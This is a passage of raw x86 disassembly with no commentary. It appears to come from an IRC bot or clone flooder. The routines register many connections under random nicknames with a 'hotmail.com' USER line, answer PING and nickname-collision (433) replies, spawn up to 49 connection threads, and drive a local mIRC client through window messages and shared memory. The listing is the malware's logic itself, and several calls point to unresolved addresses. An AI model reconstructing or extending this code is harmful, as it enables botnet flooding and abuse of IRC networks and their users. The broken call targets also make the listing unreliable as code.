dword_4D3610 push [ebp+arg_0] push offset dword_437B7C push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27C0000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4028 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27D0AFBh push eax call near ptr 27D0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D3610 mov edi, 200h mov esi, offset dword_4D2C10 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D4028 add eax, eax push eax push dword_4D4030 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3E14 mov eax, dword_4D4028 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2E10 push ebx push [ebp+arg_0] push offset dword_437B7C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2E10 push ebx push [ebp+arg_0] push offset dword_437BCC push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27D0AFBh push eax nop call near ptr 27C0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB024 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAFA4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFE4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CB028 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF4C cmp eax, esi jnz short loc_417782 push edi call dword_4CB03C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_4299C8 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D403C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFF4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA75C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA60 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387E4 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387E0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387D4 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFF4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4044[esi] mov dword_4D4038[esi], edi push dword_4D4244[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D403C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D403C[esi] call dword_4CAFF4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D403C[esi] call dword_4CAFBC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D403C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4038[esi], ebx mov esi, dword_4D403C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB03C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4038 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA758 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4044[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4244[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4038[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx nop call near ptr 2680000h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437F20[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437C20[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437F20[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 26807C8h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27F0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA75C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF74 test eax, eax jz short loc_41820D push 1 call dword_4CAF94 mov esi, eax test esi, esi jz short loc_41820D push edi push esi call near ptr 28006B7h nop push esi mov edi, eax call near ptr 2800000h nop call dword_4CAFF8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAFB0 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 2810175h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 2810000h nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CB000 push esi push 1 push 4C9h push ebp call dword_4CB000 push ebx nop call near ptr 2800C91h push edi nop call near ptr 26609B7h push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp 